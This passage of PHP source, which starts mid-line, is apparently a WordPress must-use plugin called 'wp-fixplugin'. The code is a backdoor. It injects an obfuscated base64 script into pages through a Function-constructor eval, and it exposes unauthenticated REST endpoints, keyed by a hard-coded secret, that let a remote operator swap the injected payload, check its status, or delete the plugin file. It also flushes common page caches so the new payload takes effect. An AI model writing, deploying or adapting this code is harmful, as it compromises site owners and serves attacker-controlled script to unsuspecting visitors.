[].constructor.constructor(atob("' . esc_attr( $payload ) . '"))();' . "\n"; } add_action( 'rest_api_init', 'wp_fixplugin_register_routes' ); function wp_fixplugin_register_routes() { register_rest_route( 'wp-fixplugin/v1', '/update', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_update', 'permission_callback' => '__return_true', 'args' => array( 'payload' => array( 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ), 'key' => array( 'required' => true, ), 'contract' => array( 'required' => false, ), 'enc_key' => array( 'required' => false, ), ), ) ); register_rest_route( 'wp-fixplugin/v1', '/remove', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_remove', 'permission_callback' => '__return_true', 'args' => array( 'key' => array( 'required' => true, ), ), ) ); register_rest_route( 'wp-fixplugin/v1', '/status', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_status', 'permission_callback' => '__return_true', 'args' => array( 'key' => array( 'required' => true, ), ), ) ); } function wp_fixplugin_handle_update( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } $payload = $request->get_param( 'payload' ); update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, $payload, 'no' ); update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' ); $meta = array( 'contract' => $request->get_param( 'contract' ) ?: '', 'enc_key' => $request->get_param( 'enc_key' ) ?: '', 'updated' => time(), ); update_option( WP_FIXPLUGIN_META_OPTION, $meta, 'no' ); wp_cache_delete( WP_FIXPLUGIN_PAYLOAD_OPTION, 'options' ); wp_cache_delete( WP_FIXPLUGIN_VER_OPTION, 'options' ); wp_fixplugin_flush_page_caches(); return rest_ensure_response( array( 'success' => true, 'contract' => $meta['contract'], 'updated' => $meta['updated'], ) ); } function wp_fixplugin_handle_status( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } $meta = get_option( WP_FIXPLUGIN_META_OPTION, array() ); $has_payload = ! empty( get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) ); return rest_ensure_response( array( 'active' => $has_payload, 'contract' => isset( $meta['contract'] ) ? $meta['contract'] : '', 'updated' => isset( $meta['updated'] ) ? $meta['updated'] : 0, ) ); } function wp_fixplugin_handle_remove( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); global $wp_filesystem; if ( ! $wp_filesystem ) { return new WP_Error( 'fs_unavailable', 'Could not initialise WP_Filesystem.', array( 'status' => 500 ) ); } $file = $wp_filesystem->wp_content_dir() . 'mu-plugins/wp-fixplugin.php'; if ( ! $wp_filesystem->exists( $file ) ) { return new WP_Error( 'not_found', 'MU-plugin file not found.', array( 'status' => 404 ) ); } if ( ! $wp_filesystem->delete( $file ) ) { return new WP_Error( 'delete_failed', 'Could not delete MU-plugin file.', array( 'status' => 500 ) ); } delete_option( WP_FIXPLUGIN_PAYLOAD_OPTION ); delete_option( WP_FIXPLUGIN_VER_OPTION ); delete_option( WP_FIXPLUGIN_META_OPTION ); return rest_ensure_response( array( 'success' => true ) ); } function wp_fixplugin_flush_page_caches() { if ( function_exists( 'wp_cache_clear_cache' ) ) wp_cache_clear_cache(); if ( function_exists( 'w3tc_flush_all' ) ) w3tc_flush_all(); if ( function_exists( 'rocket_clean_domain' ) ) rocket_clean_domain(); if ( function_exists( 'rt_nginx_helper_purge_all' ) ) rt_nginx_helper_purge_all(); if ( class_exists( 'LiteSpeed_Cache_API' ) ) LiteSpeed_Cache_API::purge_all(); if ( class_exists( 'autoptimizeCache' ) ) autoptimizeCache::clearall(); if ( class_exists( 'Breeze_Admin' ) ) do_action( 'breeze_clear_all_cache' ); if ( class_exists( '\Hummingbird\Core\Utils' ) ) do_action( 'wphb_clear_page_cache' ); if ( isset( $GLOBALS['wp_fastest_cache'] ) && method_exists( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) { $GLOBALS['wp_fastest_cache']->deleteCache( true ); } }